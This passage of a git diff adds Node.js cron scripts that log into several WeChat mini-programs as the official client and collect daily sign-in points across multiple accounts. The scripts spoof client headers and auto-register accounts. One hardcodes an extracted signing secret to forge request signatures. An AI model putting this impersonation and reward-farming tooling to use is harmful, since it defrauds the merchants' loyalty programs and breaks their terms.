const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + accessToken: this.token, + redOpenId: this.redOpenId, + userId: this.userId, + mobile: this.user.mobile || "", + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = ""; + this.redOpenId = ""; + this.userId = ""; + } + + applyToken(data = {}) { + this.token = data.accessToken || data.access_token || ""; + this.redOpenId = data.redOpenId || data.openId || data.open_id || ""; + this.userId = data.userId || data.user_id || ""; + } + + getHeaders(extra = {}) { + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept": "application/json, text/plain, */*", + ...extra, + }; + if (this.token) headers.Authorization = `Bearer ${this.token}`; + return headers; + } + + async request({ method = "GET", apiPath, data, params, skipToken = false }) { + const options = { + method, + url: `${API_BASE}${apiPath.startsWith("/") ? apiPath : `/${apiPath}`}`, + headers: this.getHeaders(method === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 15000, + validateStatus: () => true, + }; + if (params) options.params = params; + if (data !== undefined) options.data = data; + if (skipToken) delete options.headers.Authorization; + + const { status, data: result, headers } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (headers && headers["auth-status"] === "false") { + const err = new Error("Auth-Status=false"); + err.code = 900001; + throw err; + } + if (!result || result.code !== 0) { + const err = new Error(result?.msg || result?.message || JSON.stringify(result)); + err.code = result?.code; + throw err; + } + return result.data; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const openData = await this.request({ + method: "POST", + apiPath: "/auth/getOpenId", + skipToken: true, + data: { + code, + invitorMemberId: 0, + }, + }); + this.redOpenId = openData.openId || ""; + if (!this.redOpenId) throw new Error(`auth/getOpenId 未返回 openId: ${JSON.stringify(openData)}`); + + const loginData = await this.request({ + method: "POST", + apiPath: "/auth/login", + skipToken: true, + data: { + openId: this.redOpenId, + }, + }); + this.applyToken({ + ...loginData, + redOpenId: this.redOpenId, + }); + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: userId=${this.userId || "未知"}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getSignInInfo(true); + return true; + } catch (e) { + return false; + } + } + + async getUser() { + try { + const data = await this.request({ apiPath: "/auth/user/current" }); + this.user = data || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 用户: ${data?.nickname || data?.name || ""} ${maskPhone(data?.mobile) || ""}`); + } catch (e) { + $.log(`账号[${this.index}] 查询用户失败: ${e.message || e}`); + if (isTokenError(e)) this.removeCachedToken(); + } + } + + async getSignInInfo(silent = false) { + const data = await this.request({ apiPath: "/sign-in/statistics" }); + this.signInfo = data || {}; + if (!silent) { + $.log(`账号[${this.index}] 签到状态: ${data?.hasSignedToday ? "已签" : "未签"} 连续${data?.continuousDays || 0}天 总${data?.totalDays || 0}天 今日${data?.todayPoints ?? "未知"}积分`); + } + return data; + } + + async doSign() { + if (this.signInfo?.hasSignedToday) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + try { + const data = await this.request({ + method: "POST", + apiPath: "/sign-in", + data: {}, + }); + $.log(`账号[${this.index}] 签到成功: +${data ?? "未知"}积分`); + await this.getSignInInfo(); + } catch (e) { + const message = String(e.message || e); + if (/已签到|重复|今日.*签/i.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (isTokenError(e)) this.removeCachedToken(); + } + } + + async getTaskList() { + try { + const data = await this.request({ apiPath: "/taskCenter/getEffectiveTask" }); + return Array.isArray(data) ? data : []; + } catch (e) { + $.log(`账号[${this.index}] 查询任务列表失败: ${e.message || e}`); + if (isTokenError(e)) this.removeCachedToken(); + return []; + } + } + + async enterGame() { + try { + const beforeTasks = await this.getTaskList(); + const gameTask = beforeTasks.find((item) => item?.ruleType === "PLAY_GAME"); + if (gameTask) { + $.log(`账号[${this.index}] 玩游戏任务: ${gameTask.complete ? "已完成" : "未完成"}`); + } + + const gameConfig = await this.request({ apiPath: "/game/config" }); + await this.request({ + method: "POST", + apiPath: "/game/login", + data: { + loginIp: "", + loginLocation: "", + }, + }); + const playCount = await this.request({ apiPath: "/game/count" }); + const gameUrl = `https://foodhall-prod.nissinfoodium.com.cn/game/index.html?version=${Date.now()}&token=${encodeURIComponent(this.token)}&user_id=${encodeURIComponent(this.userId || this.user.id || "")}&webViewHeight=800`; + const page = await axios.get(gameUrl, { + headers: { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + }, + timeout: 15000, + validateStatus: () => true, + }); + if (page.status >= 200 && page.status < 400) { + $.log(`账号[${this.index}] 已进入游戏: ${gameConfig?.shareTitle || "日清消消乐"} 剩余次数=${playCount ?? "未知"}`); + } else { + $.log(`账号[${this.index}] 进入游戏页面异常: HTTP ${page.status}`); + } + + const afterTasks = await this.getTaskList(); + const updatedGameTask = afterTasks.find((item) => item?.ruleType === "PLAY_GAME"); + if (updatedGameTask) { + $.log(`账号[${this.index}] 玩游戏任务更新: ${updatedGameTask.complete ? "已完成" : "未完成"}`); + } + } catch (e) { + $.log(`账号[${this.index}] 进入游戏失败: ${e.message || e}`); + if (isTokenError(e)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/niuyougu.js b/wxapp/niuyougu.js new file mode 100644 index 00000000..5be8a42d --- /dev/null +++ b/wxapp/niuyougu.js @@ -0,0 +1,217 @@ +/* +------------------------------------------ +@Description: 牛油谷 - 微信小程序静默登录 + 每日签到 +cron: 24 8 * * * +------------------------------------------ +变量名:niuyougu +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxfa2a1ee65e3c9122,host app.niuyougu.com.cn): + 登录 POST /api/user/wxlogin form: token=&code=&channelId=0 + -> code==0, data.token / data.nickname + 签到 POST /api/user/sign form: token=&eid=1&_t=<毫秒> + -> code==0 成功;code==-2 今日已签到(这是成功语义,不是失败) + 资料 POST /api/user/getUserInfo form: token= +注意 token 是放在 body 里的,不是请求头。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("牛油谷"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "niuyougu"; +const MINI_APP_ID = "wxfa2a1ee65e3c9122"; +const BASE = "https://app.niuyougu.com.cn"; +const TOKEN_CACHE_FILE = path.join(__dirname, "niuyougu_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/api/user/wxlogin"; +const EP_SIGN = "/api/user/sign"; +const EP_USER = "/api/user/getUserInfo"; +const CODE_ALREADY_SIGNED = -2; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function form(obj) { + return Object.entries(obj) + .map(([k, v]) => `${k}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} + +const isOk = (res) => Number(res?.code) === 0; +const msgOf = (res) => res?.msg || res?.message || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|token|未授权|失效|过期|重新/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.nickname = ""; + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, body = {}) { + const res = await axios.request({ + method: "POST", + url: `${BASE}${apiPath}`, + data: form(body), + headers: { + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + }, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + return res.data; + } + + /** wcs.getCode 在 status:false 时也 resolve,必须自己判失败,否则取码限流会被误报成登录失败 */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { token: "", code, channelId: 0 }); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + const d = res.data || {}; + this.token = d.token || ""; + this.nickname = d.nickname || ""; + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, nickname: this.nickname, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${this.nickname ? `: ${this.nickname}` : ""}`); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + this.nickname = cached.nickname || ""; + if (await this.queryUser(false)) { + this.log("使用缓存token"); + return; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + + async queryUser(needLog = true) { + const res = await this.request(EP_USER, { token: this.token }); + if (!isOk(res)) { + if (needLog) this.log(`读取资料失败: ${msgOf(res)}`); + return false; + } + const d = res.data || {}; + this.nickname = d.nickname || this.nickname; + if (needLog) { + const bits = []; + if (d.nickname) bits.push(d.nickname); + for (const k of ["integral", "points", "score", "balance", "coin"]) { + if (d[k] !== undefined) bits.push(`${k}=${d[k]}`); + } + this.log(`会员: ${bits.join(" ") || short(d, 120)}`); + } + return true; + } + + async sign(retry = true) { + const res = await this.request(EP_SIGN, { token: this.token, eid: 1, _t: Date.now() }); + if (isOk(res)) return this.log("✅ 签到成功"); + if (Number(res?.code) === CODE_ALREADY_SIGNED || isAlreadyDone(msgOf(res))) { + return this.log(`✅ 今日已签到(${msgOf(res)})`); + } + if (retry && isAuthError(msgOf(res))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.queryUser(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/nndj.js b/wxapp/nndj.js new file mode 100644 index 00000000..776a9e7d --- /dev/null +++ b/wxapp/nndj.js @@ -0,0 +1,213 @@ +/* +------------------------------------------ +@Description: 牛牛短剧 - 微信小程序 code 登录 + 每日签到 +cron: 16 10,22 * * * +------------------------------------------ +变量名:nndj +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxcb95401f250e9a53,host api.tianjinzhitongdaohe.com/sqx_fast): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +无请求签名。token 放请求头 token。成功码 code===0,已签在 msg。 +登录 第1步 GET /app/Login/wxLogin?code=(不带 token) + -> code0,data.open_id(或openId)/data.unionId(或unionid)(后端 code2session 出的明文,非本地凭证) + 第2步 POST /app/Login/insertWxUser(json,不带 token) + {openId,unionId,userName,avatar,sex:1,phone:"",inviterCode:"",qdCode:""} + -> 顶层 token(=后续 token 头),顶层 user(含 userId)。无 token = 未注册/失败 + (insertWxUser 是自动注册+登录,通常都能拿到 token) +签到 GET /app/integral/signIn?date=YYYY-MM-DD 头 token -> code0 成功;msg 含"已签"=今日已签 +积分 GET /app/integral/selectByUserId -> data.integralNum +校验 GET /app/user/selectUserById(缓存 token 有效性) +insertWxUser 里的 avatar 是应用默认头像 URL(原脚本硬编码,非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("牛牛短剧签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "nndj"; +const MINI_APP_ID = "wxcb95401f250e9a53"; +const API_BASE = "https://api.tianjinzhitongdaohe.com/sqx_fast"; +const PAGE_VERSION = "19"; +const DEFAULT_AVATAR = "https://nnduanju.oss-cn-beijing.aliyuncs.com/01image/re-512.png"; +const TOKEN_CACHE_FILE = path.join(__dirname, "nndj_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function randomUserName() { + const cs = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + let s = ""; + for (let i = 0; i < 6; i++) s += cs[Math.floor(Math.random() * cs.length)]; + return `用户${s}`; +} +function chinaToday() { + const d = new Date(Date.now() + 8 * 3600 * 1000); + const pad = (n) => String(n).padStart(2, "0"); + return `${d.getUTCFullYear()}-${pad(d.getUTCMonth() + 1)}-${pad(d.getUTCDate())}`; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.user = {}; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async request({ method = "GET", apiPath, params = {}, data = null, useToken = true }) { + const headers = { + "User-Agent": UA, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept": "application/json, text/plain, */*", + "Content-Type": data ? "application/json" : "application/x-www-form-urlencoded", + }; + if (useToken && this.token) headers.token = this.token; + const res = await axios.request({ + method, + url: `${API_BASE}${apiPath.startsWith("/") ? apiPath : `/${apiPath}`}`, + headers, + params: method === "GET" ? params : undefined, + data: method === "GET" ? undefined : (data || {}), + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200 && (!res.data || typeof res.data !== "object")) + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + return res.data || {}; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + // 第1步:code -> 后端 code2session 拿明文 openId/unionId + const wx = await this.request({ apiPath: "/app/Login/wxLogin", params: { code }, useToken: false }); + if (!wx || wx.code !== 0) throw new Error(`wxLogin失败: ${wx?.msg || short(wx)}`); + const wd = wx.data || {}; + const openId = wd.open_id || wd.openId || ""; + const unionId = wd.unionId || wd.unionid || ""; + if (!openId) throw new Error(`wxLogin未返回openId: ${short(wx)}`); + // 第2步:注册/登录换 token + const reg = await this.request({ + method: "POST", + apiPath: "/app/Login/insertWxUser", + useToken: false, + data: { + openId, unionId, + userName: randomUserName(), + avatar: DEFAULT_AVATAR, + sex: 1, phone: "", inviterCode: "", qdCode: "", + }, + }); + if (!reg || reg.code !== 0) { + const msg = reg?.msg || reg?.message || short(reg); + if (/未注册|不存在|绑定|激活/.test(String(msg))) throw new Error(`NO_ACCOUNT:${msg}`); + throw new Error(`insertWxUser失败: ${msg}`); + } + this.token = String(reg.token || reg.data?.token || ""); + this.user = reg.user || reg.data?.user || reg.data || {}; + if (!this.token) throw new Error(`NO_ACCOUNT:登录未返回token`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, user: this.user, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${this.user.userName ? `:${this.user.userName}` : ""}`); + } + async checkToken() { + try { + const res = await this.request({ apiPath: "/app/user/selectUserById" }); + if (res && res.code === 0) { this.user = res.data || this.user; return true; } + return false; + } catch (e) { return false; } + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + this.user = cached.user || {}; + this.log("使用缓存token"); + if (await this.checkToken()) return; + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + async getPoints(label) { + try { + const res = await this.request({ apiPath: "/app/integral/selectByUserId" }); + if (res && res.code === 0) this.log(`${label}: ${res.data?.integralNum ?? "未知"} 积分`); + } catch (e) { /* 非关键 */ } + } + async sign(retry = true) { + const res = await this.request({ apiPath: "/app/integral/signIn", params: { date: chinaToday() } }); + if (res && res.code === 0) return this.log(`✅ 签到成功${res.msg && res.msg !== "success" ? `(${res.msg})` : ""}`); + const msg = res?.msg || res?.message || short(res); + if (/已签|签到过|重复|已经签|今日.*签|已完成/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + if (retry && /token|登录|未授权|失效|过期|未登录|鉴权|401/i.test(String(msg))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msg}`); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.getPoints("签到前"); + await this.sign(); + await this.getPoints("签到后"); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号还没在牛牛短剧注册(${String(e.message).replace(/^NO_ACCOUNT:/, "")}),先在小程序里登录一次再跑`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/nwdjg.js b/wxapp/nwdjg.js new file mode 100644 index 00000000..f6713061 --- /dev/null +++ b/wxapp/nwdjg.js @@ -0,0 +1,221 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: +cron: 30 9 * * * +------------------------------------------ +#Notice: +浓五的酒馆 微信小程序 签到得积分 +WeChatCodeServer 填写wx_server_url wx_auth 用于获取code +变量名称:nwdjg +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { + Env +} = require("../tools/env") +const $ = new Env("浓五的酒馆"); +const WeChatServer = require("./wcs.js"); +let ckName = `nwdjg`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" +let wechat = new WeChatServer({ + url: process.env.wx_server_url || 'http://192.168.31.196:12081', + appid: 'wxed3cf95a14b58a26', + auth: process.env.wx_auth || "your-api-key", + +} +); + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = null + this.wcsid = this.user[0] + this.isSign = false + this.promotionId = "" + } + + get headers() { + return { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249', + 'Content-Type': 'application/json', + 'xweb_xhr': '1', + 'sec-fetch-site': 'cross-site', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://servicewechat.com/wxed3cf95a14b58a26/255/page-frame.html', + 'accept-language': 'zh-CN,zh;q=0.9', + authorization: this.token || '' + } + } + + async run() { + //随机延迟5-30s 模拟人工操作 + await $.wait(Math.floor(Math.random() * 20 + 5) * 1000); + let { data: codeRes } = await wechat.getCode(this.wcsid) + if (codeRes.status) { + await this.getUserToken(codeRes.data.code) + } else { + $.log(`账号[${this.index}] 获取code失败:${codeRes.message || JSON.stringify(codeRes)}❌`) + } + if (!this.token) { + $.log(`账号[${this.index}] 获取用户Token失败❌`) + return + } + this.token = 'Bearer ' + this.token + + await this.getUserInfo() + await this.findSignPromotion() + await this.doSign() + } + async getUserToken(code) { + let data = ({ + "code": code, + "appId": "wxed3cf95a14b58a26" + }); + + let options = { + method: 'POST', + url: 'https://stdcrm.dtmiller.com/std-weixin-mp-service/miniApp/custom/login', + headers: this.headers, + data: data + }; + let { + data: result + } = await axios.request(options); + + if (result?.code == '0') { + this.token = result.data + $.log(`🌸账号[${this.index}] 获取用户Token成功`) + } else { + $.log(`🌸账号[${this.index}] 获取用户Token-失败:${result.msg}❌`) + } + } + async getUserInfo() { + let options = { + method: 'GET', + url: `https://stdcrm.dtmiller.com/scrm-promotion-service/mini/wly/user/info`, + headers: this.headers + + } + let { + data: result + } = await axios.request(options); + + if (result?.code == '0') { + $.log(`🌸账号[${this.index}] 获取用户信息[${result.data.member.mobile}] 积分[${result.data.member.points}]`) + } else { + $.log(`🌸账号[${this.index}] 获取用户信息-失败:${result.msg}❌`) + } + } + + // 签到活动每隔几个月会换一个 promotionId,写死就会收到「活动已结束!」, + // 这里从个人中心的模块配置里取「每日签到」入口上挂的 promotionId + async findSignPromotion() { + try { + let { + data: result + } = await axios.request({ + method: 'POST', + url: `https://stdcrm.dtmiller.com/scrm-promotion-service/mini/module/config/list`, + headers: this.headers, + data: {} + }); + let hit = JSON.stringify(result?.data || "").match(/signUp\?promotionId=(PI[0-9a-zA-Z]+)/) + if (hit) { + this.promotionId = hit[1] + $.log(`🌸账号[${this.index}] 每日签到活动:${this.promotionId}`) + } else { + $.log(`🌸账号[${this.index}] 未找到每日签到活动入口❌`) + } + } catch (e) { + $.log(`🌸账号[${this.index}] 查询签到活动异常:${e.message || e}❌`) + } + } + + async doSign() { + if (!this.promotionId) { + $.log(`🌸账号[${this.index}] 跳过签到:没有可用的签到活动`) + return + } + let options = { + method: 'GET', + url: `https://stdcrm.dtmiller.com/scrm-promotion-service/promotion/sign/today?promotionId=${this.promotionId}`, + headers: this.headers + }; + let { + data: result + } = await axios.request(options); + if (result?.code == '0') { + //打印签到结果 + this.isSign = true + let d = result.data || {} + let prize = d.prize?.prizeName || d.prize?.virtualGiftRemark || "" + $.log(`🌸账号[${this.index}] 签到成功 已签${d.signDays ?? "?"}天${prize ? ` 奖励:${prize}` : ""}`); + } else if (/已签|重复/.test("" + (result?.msg || ""))) { + this.isSign = true + $.log(`🌸账号[${this.index}] 今日已签到`) + } else { + $.log(`🌸账号[${this.index}] 签到-失败:${result.msg}❌`) + } + + + + + } + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + if (process.env['wx_server_url'] && process.env['wx_auth']) { + for (let user of $.userList) { + await new Task(user).run(); + } + } else { + + $.log(`${ckName}未配置微信SERVER配置 搭建可看仓库目录下的readme.md❌`) + return + } + +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/wxapp/nxdc.js b/wxapp/nxdc.js new file mode 100644 index 00000000..65ed96de --- /dev/null +++ b/wxapp/nxdc.js @@ -0,0 +1,181 @@ +/* +------------------------------------------ +@Description: 奈雪(pin-dao) - 微信小程序静默登录 + 每日签到 +cron: 45 8 * * * +------------------------------------------ +变量名:nxdc +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxab7430e6e8b9a4ab,登录 tm-api.pin-dao.cn / 业务 tm-web.pin-dao.cn): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +每个请求体经 build_request_data:加 nonce/timestamp/openId(固定应用常量)/signature + signature = base64(hmac_sha1(SIGN_SECRET, `nonce=&openId=×tamp=`)) +登录 POST /passport/authenticate/wxapp/verify/grc {appId,dAId:"",type:3,wxappCode:code,regChannelCode:"|1027"} + -> token(data.token / data.data.token 等);无 token = 未注册/失败 +状态 POST /user/sign/records {signDate:"YYYY-MM-01", startDate:today} 头 Authorization:Bearer -> code0,data.status(已签)/signCount +签到 POST /user/sign/save {signDate:today} -> code0 && data.flag 成功 +OPEN_ID/SIGN_SECRET 是这家小程序固定应用常量(原脚本硬编码,非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("奈雪签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "nxdc"; +const MINI_APP_ID = "wxab7430e6e8b9a4ab"; +const OPEN_ID = "QL6ZOftGzbziPlZwfiXM"; +const SIGN_SECRET = "sArMTldQ9tqU19XIRDMWz7BO5WaeBnrezA"; +const LOGIN_URL = "https://tm-api.pin-dao.cn/passport/authenticate/wxapp/verify/grc"; +const WEB_BASE = "https://tm-web.pin-dao.cn"; +const TOKEN_CACHE_FILE = path.join(__dirname, "nxdc_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const 